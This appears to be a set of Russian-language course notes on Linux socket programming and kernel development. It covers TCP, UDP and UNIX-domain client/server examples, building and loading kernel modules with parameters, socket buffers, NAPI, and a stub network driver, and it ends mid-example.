/* Example of client using TCP protocol. */
#include "inet.h"

int main(int argc, char* argv[]) {
   int sockfd;                    // TCP сокет 
   struct sockaddr_in serv_addr;  // заполнить структуру адреса сервера
   bzero((char*)&serv_addr, sizeof(serv_addr));
   serv_addr.sin_family      = AF_INET;
   serv_addr.sin_addr.s_addr = inet_addr(SERV_HOST_ADDR);
   serv_addr.sin_port        = htons(SERV_TCP_PORT);
   /* Open a TCP socket (an Internet stream socket). */
   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      err_sys("client: can't open stream socket");
   /* Connect to the server. */
   if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0)
      err_sys("client: can't connect to server");
   str_cli(stdin, sockfd);        // цикл обменов с сервером
   close(sockfd);
   exit(0);
}
EOF

cat > tcpserv.c << "EOF"
/* Example of server using TCP protocol. */
#include "inet.h"

int main(int argc, char* argv[]) {
   int sockfd;                   // TCP сокет 
   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
      err_dump("server: can't open stream socket");
   struct sockaddr_in serv_addr; // инициализировать униадресом 
   bzero((char*)&serv_addr, sizeof(serv_addr));
   serv_addr.sin_family      = AF_INET;
   serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
   serv_addr.sin_port        = htons(SERV_TCP_PORT);
   if (bind(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0)
      err_dump("server: can't bind local address");
   listen(sockfd, 5);
   for (;;) {                    // цикл по подключения
      socklen_t clilen = sizeof(serv_addr);
      int childpid, newsockfd;
      newsockfd = accept(sockfd, (struct sockaddr*)&serv_addr, &clilen);
      if (newsockfd < 0)         // ожидать соединения
         err_dump("server: accept error");
      if ((childpid = fork()) < 0) 
         err_dump("server: fork error");
      else if (childpid == 0) {  // обрабатывать в дочернем процессе
         close(sockfd);          // закрыть копию прослушивающего сокета
         str_echo(newsockfd);    // ретранслировать полученные данные
         exit(0);                // завершить дочерний процесс
      }
      close(newsockfd);          // в роительском процессе
   }
}
EOF


cat > unixdgcli.c << "EOF"
/* Example of client using UNIX domain datagram protocol. */
#include "unix.h"

int main(int argc, char* argv[]) {
   int sockfd, clilen, servlen;
   char *mktemp();
   struct sockaddr_un cli_addr, serv_addr;
   /* Fill in the structure "serv_addr" with the address
    * of the server that we want to send to. */
   bzero((char*)&serv_addr, sizeof(serv_addr));
   serv_addr.sun_family = AF_UNIX;
   strcpy(serv_addr.sun_path, UNIXDG_PATH);
   servlen = sizeof(serv_addr.sun_family) + strlen(serv_addr.sun_path);
   /* Open a socket (a UNIX domain datagram socket). */
   if ((sockfd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)
      err_dump("client: can't open datagram socket");
   /* Bind a local address for us.
    * In the UNIX domain we have to choose our own name (that
    * should be unique).  We'll use mktemp() to create a unique
    * pathname, based on our process id.
    */
   bzero((char*)&cli_addr, sizeof(cli_addr)); /* zero out */
   cli_addr.sun_family = AF_UNIX;
   strcpy(cli_addr.sun_path, UNIXDG_TMP);
   mktemp(cli_addr.sun_path);
   clilen = sizeof(cli_addr.sun_family) + strlen(cli_addr.sun_path);
   if (bind(sockfd, (struct sockaddr*)&cli_addr, clilen) < 0)
      err_dump("client: can't bind local address");
   dg_cli(stdin, sockfd, (struct sockaddr*)&serv_addr, servlen);
   close(sockfd);
   unlink(cli_addr.sun_path);
   exit(0);
}
EOF


cat > unixdgserv.c << "EOF"
/* Example of server using UNIX domain datagram protocol. */
#include "unix.h"

int main(int argc, char* argv[]) {
   int sockfd, servlen;
   struct sockaddr_un serv_addr, cli_addr;
   /* Open a socket (a UNIX domain datagram socket). */
   if ((sockfd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)
      err_dump("server: can't open datagram socket");
   /* Bind our local address so that the client can send to us. */
   unlink(UNIXDG_PATH); /* in case it was left from last time */
   bzero((char*)&serv_addr, sizeof(serv_addr));
   serv_addr.sun_family = AF_UNIX;
   strcpy(serv_addr.sun_path, UNIXDG_PATH);
   servlen = sizeof(serv_addr.sun_family) + strlen(serv_addr.sun_path);
   if (bind(sockfd, (struct sockaddr*)&serv_addr, servlen) < 0)
      err_dump("server: can't bind local address");
   dg_echo(sockfd, (struct sockaddr*)&cli_addr, sizeof(cli_addr));
}
EOF

cat > unix.h  << "EOF"
/*
 * Definitions for UNIX domain stream and datagram client/server programs.
 */

#include 
#include 
#include 
#include 
#include "common.h"

#define UNIXSTR_PATH "./s.unixstr"
#define UNIXDG_PATH  "./s.unixdg"
#define UNIXDG_TMP   "/tmp/dg.XXXXXX"

char *pname;
EOF


cat > unixstrcli.c << "EOF"
/* Example of client using UNIX domain stream protocol. */
#include "unix.h"

int main(int argc, char* argv[]) {
   int sockfd, servlen;
   struct sockaddr_un serv_addr;
   /* Fill in the structure "serv_addr" with the address
    * of the server that we want to send to.     */
   bzero((char*)&serv_addr, sizeof(serv_addr));
   serv_addr.sun_family = AF_UNIX;
   strcpy(serv_addr.sun_path, UNIXSTR_PATH);
   servlen = strlen(serv_addr.sun_path) + sizeof(serv_addr.sun_family);
   /* Open a socket (an UNIX domain stream socket). */
   if ((sockfd = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
      err_sys("client: can't open stream socket");
   /* Connect to the server. */
   if (connect(sockfd, (struct sockaddr*)&serv_addr, servlen) < 0)
      err_sys("client: can't connect to server");
   str_cli(stdin, sockfd);   /* do it all */
   close(sockfd);
   exit(0);
}
EOF


cat > unixstrserv.c << "EOF"
/* Example of server using UNIX domain stream protocol. */
#include "unix.h"

int main(int argc, char* argv[]) {
   int sockfd, newsockfd, childpid, servlen;
   struct sockaddr_un cli_addr, serv_addr;
   /* Open a socket (a UNIX domain stream socket). */
   if ((sockfd = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
      err_dump("server: can't open stream socket");
   /* Bind our local address so that the client can send to us. */
   bzero((char*)&serv_addr, sizeof(serv_addr));
   serv_addr.sun_family = AF_UNIX;
   strcpy(serv_addr.sun_path, UNIXSTR_PATH);
   servlen = strlen(serv_addr.sun_path) + sizeof(serv_addr.sun_family);
   if (bind(sockfd, (struct sockaddr*)&serv_addr, servlen) < 0)
      err_dump("server: can't bind local address");
   listen(sockfd, 5);
   for (; ;) {
      /* Wait for a connection from a client process.
       * This is an example of a concurrent server. */
      socklen_t clilen = sizeof(cli_addr);
      newsockfd = accept(sockfd, (struct sockaddr*)&cli_addr, &clilen);
      if (newsockfd < 0) err_dump("server: accept error");
      if ((childpid = fork()) < 0) err_dump("server: fork error");
      else if (childpid == 0) {    /* child process */
         close(sockfd);            /* close original socket */
         str_echo(newsockfd);      /* process the request */
         exit(0);
      }
      close(newsockfd);            /* parent process */
   }
}
EOF


cat > writen.c << "EOF"
#include "common.h"

/* Write "n" bytes to a descriptor */
ssize_t writen(int fd, const void *vptr, size_t n) { 
   size_t nleft;
   ssize_t nwritten;
   nleft = n;
   while (nleft > 0) {
      if ((nwritten = write(fd, vptr, nleft)) <= 0) {
         if (errno == EINTR) nwritten = 0;     /* and call write() again */
         else return(-1);                     /* error */
      } 
      nleft -= nwritten;
      vptr  += nwritten;
   }
   return(n);
}
EOF



Для компиляции используй:
make



Использование:
./udpserv
./udpcli

./tcpserv
./tcpcli

./unixdgserv
./unixdgcli

./unixstrserv
./unixstrcli

./sockopt






Драйверы и сетевые устройства в ядре Linux

Linux - операционная система с монолитным ядром.
!!! Альтернативой системы с монолитным ядром является микро ядерные операционные системы (которых создано очень мало)

Проблемы у монолитного ядра, это расширения функциональности (Решёное погрузкой модулей) 
Такие модули загружаясь  связываются с API ядра  и его структурами данных по абсолютным адресам размещения. 
Адреса всех модулей можно посмотреть в псевдо файле /proc/kallsyms и их кол-во может достигать десятков тысяч (с каждой новой версией ядра становится все больше)
cat /proc/kallsyms

Подсчитать количество:
cat /proc/kallsyms | wc -l

Пример что значит строки в выводе "cat /proc/kallsyms | head" :
cat /proc/kallsyms | head -n1
ffff800008000000 T _text
ffff800008000000 - это абсолютный адрес для вызова этой функции ядра
T - сегмент текста (т.е. кода)
_text - внешнее имя драйвера (модуля)

ОС с микро ядерной архитектурой:

Операционные системы с микроядерной архитектурой включают:

Minix — учебная операционная система, использующая микроядро. 
Стала основой для создания концепции микроядерных систем.

QNX — коммерческая реальная ОС с микроядром, широко используемая в автомобильной и встраиваемой электронике.

L4 — семейство микроядер, которое используется в исследовательских и промышленных системах, 
таких как системы безопасности и встраиваемые системы. 
Есть несколько версий L4, например, L4Ka::Pistachio, Fiasco.

GNU Hurd — проект свободной операционной системы, использующий микроядро Mach.
Hurd разрабатывался как часть проекта GNU для замены Unix-подобных систем.

Mach — изначально разработанное микроядро, которое повлияло на разработку других микроядер. 
Использовалось как основа для NeXTSTEP и позднее стало частью macOS в виде гибридного ядра XNU.

Integrity — реальная ОС с микроядром, используемая в авиационной и медицинской технике.

Genode — платформа, основанная на микроядре, ориентированная на безопасность и высокую модульность встраиваемых систем.

Сборка своего модуля ядра hello_printk.c


Обратите внимание что данный Makefile создан с использованием макросов разработчиками ядра  
и он будет повторятся с минимальными изменениями для любых модулей ядра. 
cat  > Makefile << "EOF" 
CONFIG_MODULE_SIG=n

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
DEST = /lib/modules/$(CURRENT)/misc
TARGET = hello_printk

obj-m      := $(TARGET).o

all: default clean
#all: default

default: 
        $(MAKE) -C $(KDIR) M=$(PWD) modules

install:
        cp -v $(TARGET).ko $(DEST)
#      /sbin/depmod -v | grep $(TARGET)
        /sbin/depmod
        /sbin/insmod $(TARGET).ko
        /sbin/lsmod | grep $(TARGET)

uninstall:
        /sbin/rmmod $(TARGET)
        rm -v $(DEST)/$(TARGET).ko
        /sbin/depmod

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~
        @rm -fR .tmp* *.mod
        @rm -rf .tmp_versions

disclean: clean
        @rm -f *.ko
EOF

# Исправить восемь пробелов на TAB
sed -i 's/        /tt/g' Makefile 

cat >  hello_printk.c << "EOF" 
#include 

MODULE_LICENSE("GPL");
MODULE_AUTHOR("LALA >");

static int __init hello_init(void) {
   printk("Hello, world!n");
   return 0;
}

static void __exit hello_exit(void) {
   printk("Goodbye, world!n");
}

module_init(hello_init);
module_exit(hello_exit);
EOF

Для сборки используем:
make

!!!Обратите внимание что начиная с версии ядра 2.6 имя модуля ядра изменилось на ".o" на ".ko"
Формат файла модуля является обычный объектный файл ELF, но дополненный в таблице внешних имен дополнительными именами
(__mod_author5, __mod_license4, __mod_srcversion23, __module_depends, __mod_vermagic5 и прочими)

Узнать информацию о собранном модуле можно командой modinfo:
file hello_print.ko
modinfo ./hello_print.ko

Загрузить:
!!! insmod - не проверяет зависимости, по этому ее использование опасно
modprobe  ./hello_print.ko

Для выгрузки:
rmmod hello_print

Модули ядра, точки входа и завершения:

Любой модуль должен иметь объявление функции входа(инициализации) модуля и его завершения (не обязательно, может и отсутствовать).

Функция инициализации будет вызываться после проверки и соблюдения всех условий достаточных для инициализации.
Выполнение команды insmod для модуля.
Функция инициализации имеет прототип и объявляется именно как функция инициализации макросом module_init():
static int __int hello_int(void) {
...
}
module_init(hello_init);


Функция завершения будет вызывается при выполнение команды rmmod
функция завершения имеет прототип module_exit():
static void __exit hello_exit(void){
...
}
module_exit(hello_exit);
Обратите внимание что функция завершения по своему прототипу не имеет возвращаемого значения 
и поэтому не может сообщить о невозможности каких=либо действий, когда уже начала выполнятся.
Идея состоит в том что система сама проверит возможность завершения , и если это не возможно
то просто не выполнит эту функцию.


Существует еще один не документированный способ описания этих функций:
а именно init_module() и clean_module()
выглядят они так:
int init_module(void) {
...
}
void cleanup_module(void) {
...
}
при такой записи необходимость в макросах module_int() и module_xit отпадает и 
задействовать квалификатор static с такими записями нельзя!
такая запись ухудшает читаемость кода

Модули ядра, вывод диагностики модуля:

Для диагностики модуля используется функция printk()
По функционалу похож на функцию printf()

Сам вызов printk() и сопутствующие ему константы  определения вы найдете в файле:
/lib/modules/`uname -r`/build/include/linux/kernel.h
asmlinkage int printk(const char * fmt, ...) 

#define KERN_EMERG    "<0>"
#define KERN_ALERT    "<1>"
#define KERN_CRIT     "<2>"
#define KERN_ERR      "<3>"
#define KERN_WARNING  "<4>"
#define KERN_NOTICE   "<5>"
#define KERN_INFO     "<6>"
#define KERN_DEBUG    "<7>"


зависимости модулей прописаны в файле (информацию о них modprobe черпает из него)
cat /lib/modules/`uname -r`/modules.dep
Если modprobe получает универсальный идентификатор, то она сначала пытается найти его в файлах /etc/modprobe.conf (утарело)
и в каталоге /etc/modprobe.d/*.conf

!!! inmod никак не проверяет зависимости, если обнаруживает не разрешенные имена, то завершает работу аварийно.

depmod - показывает зависимости

Параметры загрузки модуля

Из командной строки передаются через массив argv[]
Для каждого параметра определяется переменная-параметр, далее эти переменные используются в макросе module_param().
Подобный макрос следует записать для каждого предусмотренного параметра, и он должен последовательно определить:
1) имя параметра и переменной
2) тип значения этой переменной
3) права доступа к параметру (отображаемое как путевое имя в системе псевдо каталог /sys)

Значения параметрам могут быть установлены во время загрузки модуля через insmod и modprobe
modprobe также может прочитать файл /etc/modprobe.conf

Обработка входных параметров модуля обеспечивается макросами  описанными в 
И там множество!
Но чаще всего вы встретите  module_param() и module_param_array()


Пример кода:
cat  > mod_params.c << "EOF"
#include 
#include 
#include 

MODULE_LICENSE("GPL");
MODULE_AUTHOR("OLA laA >");

static int iparam = 0;        // целочисленный параметр
module_param(iparam, int, 0);

static int k = 0;             // имена параметра и переменной различаются
module_param_named(nparam, k, int, 0);

static bool bparam = true;    // логический инверсный парамер
module_param(bparam, invbool, 0);

static char* sparam;          // строчный параметр
module_param(sparam, charp, 0);

#define FIXLEN 5
static char s[FIXLEN] = "";   // имена параметра и переменной различаются
module_param_string(cparam, s, sizeof(s), 0); // копируемая строка

static int aparam[] = { 0, 0, 0, 0, 0 };      // параметр - целочисленный массив
static int arnum = sizeof(aparam)/ sizeof(aparam[0]);
module_param_array(aparam, int, &arnum, S_IRUGO | S_IWUSR);

static int __init mod_init(void) {
   int j;
   char msg[40] = "";
   printk("========================================n");
   printk("iparam = %dn", iparam);
   printk("nparam = %dn", k);
   printk("bparam = %dn", bparam);
   printk("sparam = %sn", sparam);
   printk("cparam = %s {%ld}n", s, (long)strlen(s));
   sprintf(msg, "aparam [ %d ] = ", arnum );
   for(j = 0; j < arnum; j++) sprintf(msg + strlen(msg), " %d ", aparam[j]);
   printk("%sn", msg );
   printk("========================================n");
   return -1;
}
         
module_init(mod_init);

EOF

cat  > Makefile << "EOF" 
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = mod_params

obj-m      := $(TARGET).o

all: default clean

default: $(TARGET).c 
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp* *.mod
        @rm -rf .tmp_versions

disclean: clean
        @rm -f $(TARGET).ko 

EOF


# Исправить восемь пробелов на TAB
sed -i 's/        /tt/g' Makefile 


Примеры использования:
insmod mod_params.ko
insmod ./mod_params.ko iparam=3 sparam=zxcv aparam=5,4,3
insmod ./mod_params.ko iparam=3 sparam=zxcv aparam=5,4,3,2,1,0
insmod ./mod_params.ko iparam=qwerty
insmod ./mod_params.ko iparam=3 nparam=4 sparam=str1 cparam=str2 aparam=5,4,3
insmod mod_params.ko sparam='new'
insmod mod_params.ko iparam=3 nparam=4 bparam=1 sparam=str1 cparam=str2 aparam=5,4,3

Ошибка?
echo $?
Если последняя команда выполнилась и 0 нет ошибки, если > 0 есть ошибка 

Ну и вывод смотрим с помощью dmesg 
dmesg 
dmesg -w
dmesg | tail -n9

Модуль ядра, подсчет ссылок использования:

Одно из важных  понятий модуля.
При загрузки модуля начальное значение счетчика  ссылок нулевое.
При загрузке любого следующего модуля, который использует(импортирует) имена, экспортируемые этим модулем, счетчик ссылок такого модуля инкрементируется.

!!!
Модуль, счетчик ссылок использования которого ненулевой, не может быть выгружен командой rmmod.
Некорректное обращение к несуществующему модулю гарантирует крах всей системы.

Пример:
lsmod | grep i2c
i2c_algo_bit           20480  1 i915
i2c_i801               45056  0
i2c_smbus              20480  1 i2c_i801
i2c_mux                16384  1 i2c_i801
i2c_dev                28672  0

Взглянем на:
i2c_smbus              20480  1 i2c_i801 
Значение ссылок  равно 1 
Далее i2c_i801 перечислены использующие его модули (модули которые на него ссылаются) 
До тех пор пока модуль i2c_i801 не будет удален из системы, модуль i2c_smbus будет невозможно удалить.

функции вызова определены в файле 
int try_module _get(struct module *module) - увеличить счетчик ссылок для модуля (возвращает признак успешности операции)
void module_put(struct module *module) - уменьшает счетчик ссылок для модуля
unsigned int module_refcount(struct module *mod) - возвратить значение счетчика ссылок для модуля

В качестве параметра всех этих вызовов, как правило, передается константный указатель THIS_MODULE, так что вызовы выглядят примерно так:
try_module_get(THIS_MODULE);

!!!
Возможность управлять значениями счетчика ссылок из собственного модуля есть, но делать это не рекомендуется.

Структура данных сетевого стека:

Сетевая реализация построена так, чтобы не зависеть от конкретики протоколов.
Основной структурой данных является struct net_device, описывает сетевое устройство.

Основной структурой обмениваемых данных между сетевыми устройствами являются "буферы сокетов"
Определена в 
struct sk_buff
данные управления "head"
данные пакета "data"

Буферы  сокетов всегда указывают в очереди( struct sk_queue_head ) посредством своих первых полей "next" и  "prev"

Пример полей структуры:
typedef unsigned char *sk_buff data_t;
struct sk_buff {
  stuckt sk_buff *next;
  struct sk_buff *prev;
...
  sk_buff_data_t transport_header;
  sk_buff_data_t network_header;
  sk_buff_data_t mac_header;
...
unsigned char *head,
              *data;
...
};

Структура вложенности заголовков сетевых уровней в точности соответствует структуре инкапсуляции сетевых протоколов внутри друг друга 
- это позволяет обрабатывающему слою получить доступ к информации, относящейся только нужному ему слою.


Экземпляры данных типа struct sk_buff:
ПОЛУЧАТЕЛЬ:
Возникают при поступлении очередного сетевого пакета из внешней физической среды распространения данных.
Об этом событии извещает прерывание IRQ, генерируемое сетевым адаптером.
При этом создается экземпляр буфера сокета, заполняется данными из поступающего пакета и далее передается вверх от сетевого слоя к слою до приложения 
прикладного уровня, которое является получателем пакета.
На этом экземпляр данных буфера сокета уничтожается.
ОТПРАВИТЕЛЬ:
Возникает в среде приложения прикладного уровня, которое является отправителем пакета данных.
Пакет отправителя данных помещается в созданный буфер сокета, который начинает перемещается вниз от сетевого слоя к слою достижения канального уровня L2.
На этом уровне осуществляется физическая передача данных пакета через сетевой адаптер в среду распространения.
В случае успешного завершения передачи  (подтверждается прерыванием, генерируем сетевым адаптером , часто по той же линии IRQ, что и при приеме пакета)
буфер сокета уничтожается.
При отсутствии подтверждения отправки(IRQ) обычно делается несколько повторных попыток, прежде чем принять решение об ошибке канала.

Путь пакета сквозь стек протоколов / Прием: традиционный подход


Традиционный подход состоит в том, что каждый приходящий сетевой пакет порождает аппаратное прерывание 
по линии IRQ адаптера, что и служит сигналом  на прием очередного сетевого пакета и создание буфера сокета для 
его сохранения и обработки принятых данных.
Порядок действий:
1. Читая конфигурационную область PCI-адаптера сети при инициализации модуля,
определяем линию прерывания IRQ, которая будет обслуживать сетевой обмен:
char irq; 
pci_read_config_byte(pdev, PCI_INTERRUPT_LINE, &byte);
2. При инициализации сетевого интерфейса для этой линии IRQ устанавливается обработчик прерывания my_interrupt():
reques_irq(int)irq, my_interrupt, IRQF_SHARED, "my_interrupt", &my_dev_id);
3. В обработчике прерывания по приему нового пакета в сеть - здесь нужен
анализ причины по чтению некоего аппаратного флага) создается (или запрашивается из пула используемых) новый экземпляр буфера сокетов:
static irqreturn_t my_interrupt(int irq, void *dev_id) {
   ...
   struct sk_buff *skb = kmalloc(sizeof(struct sk_buff), ...);
   // заполнение данных *skb чтением из портов сетевого адаптера
   netif_rx(skb);
   return IRQ_HANDLED;
}
Все эти действия выполняются не в самом обработчике верхней половины прерываний от сетевого адаптера, 
а в обработчике отложенного прерывания NET_RX_SOFTIRQ для этой линии.
Последним действием является передача заполненного сокетного буфера вызову netifrx() (или netif_receive_skb()), 
который и запустит процесс движения его (буфера) по структуре сетевого стека (отметит отложенное программное прерывание NET_RX_SOFTIRQ для исполнения).

Путь пакета сквозь стек протоколов / Прием: высокоскоростной интерфейс

Особенность сетевых интерфейсов в том, что их активность носит взрывной характер.
В один момент времени может не быть трафика совсем(обмен ARP пакетами не в счёт), в другой его много.

!!!
Современные сетевые интерфейсы имеют скорости 10+ Гбит, и уже при более скромных скоростях традиционный подход становится нецелесообразным:
Новые приходящие пакеты создают вложенные запросы IRQ несколько уровней при еще не обслуженном приеме текущего IRQ;
Асинхронное обслуживание каждого IRQ в плотном потоке создает слишком большие накладные расходы.

Поэтому был добавлен набор API для обработки таких  плотных потоков пакетов, 
поступающих с высокоскоростных интерфейсов, который и получил название NAPI (New API).
Идея состоит в том,  чтобы прием пакетов осуществлять не методом прерывания, а методом программного опроса (poling)
точнее комбинацией этих двух возможностей:

 При поступлении первого пакета "пачки" инициируется прерывание IRQ адаптера(все начинается как в традиционном методе);

 В обработчике прерывания запрещается поступление дальнейших запросов прерывания с этой линии IRQ по приему пакетов, 
IRQ с этой линии по отправке пакетов могут продолжать пропускать - т.е. установленный запрет происходит не программным
запретом линии IRQ со стороны процессора, а записью управляющей информации в аппаратные регистры сетевого адаптера.
Тесть сетевой адаптер это должен уметь делать. (все современные адаптеры умет это делать)

 После прекращения прерываний по приему обработчик переходит в режим циклического считывания и обработки принятых   
из сети пакетов, сетевой адаптер при этом накапливает поступающие пакеты  во внутреннем кольцевом буфере приема, 
либо до определенного порогового числа считанных пакетов (10, 20, ...), называемого бюджетом функции поллинга.

 Считывание и обработка  пакетов происходит обработчике прерываний в его отстроченной (нижней) части.

 Каждому принятому в опросе пакету генерируется сокетный буфер для продвижения его по стеку сетевых протоколов вверх

 После завершения цикла программного опроса по его результатам устанавливается состояния завершения:
NAPI_STATE_DISABLE(если не осталось считанных пакетов в кольцевом буфере адаптера) или NAPI_STATE_SCHED(что говорит,
что устройство адаптера должно продолжать опрашиваться, когда ядро в следующий раз перейдет к циклу опросов 
в отложенном обработчике прерываний)

 Если результатом является NAPI_STATE_DISABLE, то после завершения цикла программного опроса восстанавливается разрешение 
генерации прерываний по линии IRQ приема пакетов(записью в порты сетевого адаптера)



1. Реализатор обязан создать и зарегистрировать специфичную функцию для модуля функции опроса(poll-функцию), используя вызов ()
static inline void netif_napi_add(struct net_device *dev,
                                  struct napi_struct *napi,
                                  int (*poll)(struct napi_struct *,int),
                                  int weight);
dev - сетевой интерфейс
poll - функция программного опроса
weight - относительный вес  10MIb,100Mib  = 16  10Gib и 100Gib = 64
napi - указатель на специальную структуру, со значениями state = NAPI_STATE_DISABLE  state = NAPI_STATE_SCHED  

struct napi_struct {
  struct list_head poll_list;
  unsingned long state;
  int weight;
  int (*poll) (struct napi_struct*, int);
};

2. Зарегистрированная функция программного опроса ( полностью зависимая от задачи и реализуемая в коде модуля имеет подобный вид;
static int my_card_poll(struct napi_struct *napi, int budget) {
       int work_done; // число реально обработанных в цикле опроса сетевых пакетов
       work_done = my_card_input(budget, ...); // реализационно специфический прием пакетов
       if (work_done < budget ) {
          netif_rx_complete(netdev, napi);
          my_card_enable_irq(...); // разрешить IRQ приема
       }
       retun work_done;
}

my_card_input() - пытается аппаратно считать budget сетевых пакетов
Для каждого считанного сетевого пакета создается сокетный буфер и вызывает netif_receive_skb()
если кольцевой буфер исчерпается ранее budget то будет вызвана netif_rx_complete() что отменит отложенное програмное прерывание  NET_RX_SOFTIRQ

3. Обработчик аппаратного прерывания линии IRQ сетевого адаптера:
static irqretur_t my_interrupt(int irq, void *dev_id) {
   struct net_debice *netdev = dev_id;
   if (likely(netif_rx_schedule_prep(netdev, ...))) {
     my_card_disable_irq(...); // запретить IRQ приема
     __netif_rx_schedule(netdev, ...);
   }
    return IRQ_HANDLED;
}

Ядро должно быть уведомлено что новая порция сетевых пакетов готова для обработки.
Для этого:
вызов netif_rx_schedule_prep() устанавливает состояние NAPI_STATE_SCHED
если он успешен, то вызовом __netif_rx_schedule() устройство помещается в список программного опроса  в цикле обработки отложенного программного прерывания NET_RQ_SOFTIRQ


Опрос не должен потреблять более одного системного тика(глобальная переменная jiffiels), иначе это будет искажать диспетчеризацию потоков ядра
Бюджет не должен быть больше глобального установленного ограничения
cat /proc/sys/net/core/netdev_budget

Передача пакета:

ndo (Net Device Operation)
При инициализации сетевого интерфейса создается таблица операций сетевого интерфейса, одно из полей которой -
- ndo_start_xmit - определяет функцию передачи пакета в сеть:
struct net_device_ops ndo = {
   .ndo_open = my_open,
   .ndo_stop = my_close,
   .ndo_start_xmit = stub_start_xmit,
};

При вызове stub_start_xmit должна обеспечить аппаратную передачу полученного сокета в сеть, после чего уничтожает(возвращает в пул) буфер сокета:
static int stab_start_xmit(struct sk)buff *skb, struct net_device *dev) {
       // ... апаратное обслуживание передачи
       dev _kfree_skb(skb);
       return 0;
}

Реально чаще уничтожение отправлено буфера будет происходить не при инициализации операции, а при ее успешном завершении, что отслеживается той же IRQ,
что и прием пакетов из сети. 


Часто задаваемый вопрос:
а где же в этом процессе место (код), где создается информация для буферов?, где потребляется информация из принимаемых сокетных буферов?
Ответ прост:
Интерфейс из этого прикладного уровня в стек протоколов ядра обеспечивается известным POSIX API сокетов прикладного уровня.

Драйверы: сетевой интерфейс

Задача сетевого интерфейса - быть местом в котором:
Создаются экземпляры структуры "struct sk_buff" по каждому принятому из интерфейса пакету (здесь нужно принимать во внимание возможность сегментации IP-пакетов),
далее созданный экземпляр структуры продвигается по стеку протоколов вверх до получателя пользовательского пространства, где он и уничтожается.
Исходящие экземпляры структуры "struct sk_buff", порожденные где-то на верхних уровнях протоколов пользовательского пространства, должны отправляться
(чаще всего каким-то аппаратным механизмом), а сами экземпляры структуры после этого - уничтожатся.

Пример кода:
cat > network.c << "EOF"
/*
 * (c) Copyright Jerry Cooperstein, 2009
 * (c) Copyright Oleg Tsiliuric, 2011
 */
#include 
#include 
#include 

static struct net_device *dev;

static int my_open(struct net_device *dev) {
   printk(KERN_INFO "! Hit: my_open(%s)n", dev->name);
   /* start up the transmission queue */
   netif_start_queue(dev);
   return 0;
}

static int my_close(struct net_device *dev) {
   printk(KERN_INFO "! Hit: my_close(%s)n", dev->name);
   /* shutdown the transmission queue */
   netif_stop_queue(dev);
   return 0;
}

/* Note this method is only needed on some; without it
   module will fail upon removal or use. At any rate there is a memory
   leak whenever you try to send a packet through in any case*/
static int stub_start_xmit(struct sk_buff *skb, struct net_device *dev) {
   dev_kfree_skb(skb);
   return 0;
}

static struct net_device_ops ndo = {
   .ndo_open = my_open,
   .ndo_stop = my_close,
   .ndo_start_xmit = stub_start_xmit,
};

static void my_setup(struct net_device *dev) {
   /* Fill in the MAC address with a phoney */
   char *pa = (char*)dev->dev_addr;
   for(int j = 0; j < ETH_ALEN; j++) 
      *pa++ = (char)j;
   ether_setup(dev);
   dev->netdev_ops = &ndo;
}

static int __init my_init(void) {
   printk(KERN_INFO "! Loading stub network module:....");
#if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 17, 0))
   dev = alloc_netdev(0, "fict%d", my_setup);
#else
   dev = alloc_netdev(0, "fict%d", NET_NAME_ENUM, my_setup);
#endif
   if(register_netdev(dev)) {
      printk(KERN_INFO "! Failed to registern");
      free_netdev(dev);
      return -1;
   }
   printk(KERN_INFO "! Succeeded in loading %s!n", dev_name(&dev->dev));
   return 0;
}

static void __exit my_exit(void) {
   printk(KERN_INFO "! Unloading stub network modulen");
   unregister_netdev(dev);
   free_netdev(dev);
}

module_init(my_init);
module_exit(my_exit);

MODULE_AUTHOR("Bill Shubert");
MODULE_AUTHOR("Jerry Cooperstein");
MODULE_AUTHOR("Tatsuo Kawasaki");
MODULE_AUTHOR("Oleg Tsiliuric");
MODULE_DESCRIPTION("LDD:1.0 s_24/lab1_network.c");
MODULE_LICENSE("GPL v2");

EOF

cat > Makefile << "EOF"
CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)
DEST = /lib/modules/$(CURRENT)/misc

EXTRA_CFLAGS += -std=gnu99

TARGET1 = devices
TARGET2 = network
TARGET3 = transmit_simple
TARGET4 = transmit
TARGET5 = receive
TARGET6 = mulnet

obj-m   := $(TARGET1).o $(TARGET2).o $(TARGET3).o 
           $(TARGET4).o $(TARGET5).o $(TARGET6).o

all: default clean

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

install:
        cp -v $(TARGET).ko $(DEST)
        /sbin/depmod -v | grep $(TARGET)
        /sbin/insmod $(TARGET).ko
        /sbin/lsmod | grep $(TARGET)

uninstall:
        /sbin/rmmod $(TARGET)
        rm -v $(DEST)/$(TARGET).ko
        /sbin/depmod

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~
        @rm -fR .tmp* .*.d .*.cmd *.mod
        @rm -rf .tmp_versions

disclean: clean
        @rm -f *.ko

EOF

# Исправить восемь пробелов на TAB
sed -i 's/        /tt/g' Makefile 


cat > devices.c << "EOF"
#include 
#include 
#include 

static int __init my_init(void) {
   struct net_device *dev;
   printk(KERN_INFO "Hello: module loaded at 0x%pxn", my_init);
   dev = first_net_device(&init_net);
   printk(KERN_INFO "Hello: dev_base address=0x%pxn", dev);
   while (dev) { 
      char smac[ETH_ALEN*3];
      struct rtnl_link_stats64 stat = {};
      for(int j = 0; j < ETH_ALEN; j++)
         sprintf(smac + j * 3, "%02x%c",
